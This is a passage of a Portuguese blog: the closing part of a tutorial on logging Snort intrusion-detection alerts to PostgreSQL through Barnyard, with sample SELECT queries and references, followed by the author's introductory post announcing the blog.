
E faça uma consulta:
SELECT * from signature;

E também:
SELECT * from event;

Aparecerão informações registradas pelo Snort e enviadas pelo Barnyard.

Conclusão
A solução Snort, Barnyard e PostgreSQL é recomendada, quando bem posicionada na topologia. O Barnyard completa a solução do Snort, tornando-o mais rápido pois com a utilização dos logs unificados não se desperdiça tempo em executar sql’s para enviar seus logs ao banco, ganhando desta forma muito desempenho.

Referências

http://www.snort.org
http://www.postgresql.org
http://www.snort.org/dl/barnyard/
http://www.snorg.org.br/

Decidi postar este tutorial pois mesmo procurando muito na internet não encontrei informações de como utilizar o Barnyard em conjunto com o banco de dados PostgreSQL, espero que ajude outras pessoas.

Fiquem à vontade para sugestões, críticas e correções…

Obrigado! Abraços e até o próximo post! ;)

Saudações galera!

É isso ae… criei um blog, quem diria…

Como todo aficionado por segurança criar um blog utilizando o próprio nome e (argh!) sobrenome é uma grande barreira à ser quebrada.

Após algumas boas conversas e também experiências trocadas com amigo (Fernando Ike), decidi criar meu blog.

Este é meu pontapé inicial para colaborar e também retribuir tudo que o software livre e a comunidade tem me proporcionado ao longo de anos.

Neste momento não estou em um lugar onde posso filosofar e escrever muito, portanto finalizo aqui.

Ah! Claro, este blog utilizarei como um bloco de anotações onde registrarei todas as minhas experiências no mundo do software livre, segurança computacional e afins…

abraços e até o próximo… ;-)